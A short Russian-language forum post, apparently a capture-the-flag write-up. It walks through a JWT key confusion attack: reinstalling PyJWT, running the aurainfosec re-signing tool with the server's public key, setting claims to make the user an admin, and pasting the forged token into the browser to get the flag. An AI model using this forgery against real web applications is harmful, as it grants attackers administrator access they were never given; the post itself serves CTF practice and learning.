Первым делом, нужно сгенерировать наш токен.
Ссылка скрыта от гостей
ИМЯСохраняем токен, и также получаем публичный ключ аналогично. Их нужно сохранить в разных файлах, один jwt.txt, другой key.pem
Следующим действием необходимо скачать PyJWT, именно PyJWT, удалите jwt и старый PyJWT
Python:
pip3 uninstall jwt PyJWT
pip3 install PyJWT
Затем из GitHub скачиваем утилиту для того чтобы сгенерировать нужный нам токен: GitHub - aurainfosec/jwt_key_confusion: JWT key confusion attack, i.e. re-sigining RS256 to HS256
В коде нужно изменить 2 параметра
Код:
claims = {"isAdmin":True, "name":ИМЯ}
headers = {"typ":"JWT", "alg":"HS256"}
Запускаем утилиту следующей командой и ключами:
python3 jwt_resign_asym_to_sym.py -k key.pem -n
-k - где лежит наш публичный ключ
-n - выдаст только один токен
Вставляем сгенерированый токен в браузер:
Ссылка скрыта от гостей
ТОКЕНРадуемся добытому флагу!
Видео на YouTube:
Последнее редактирование: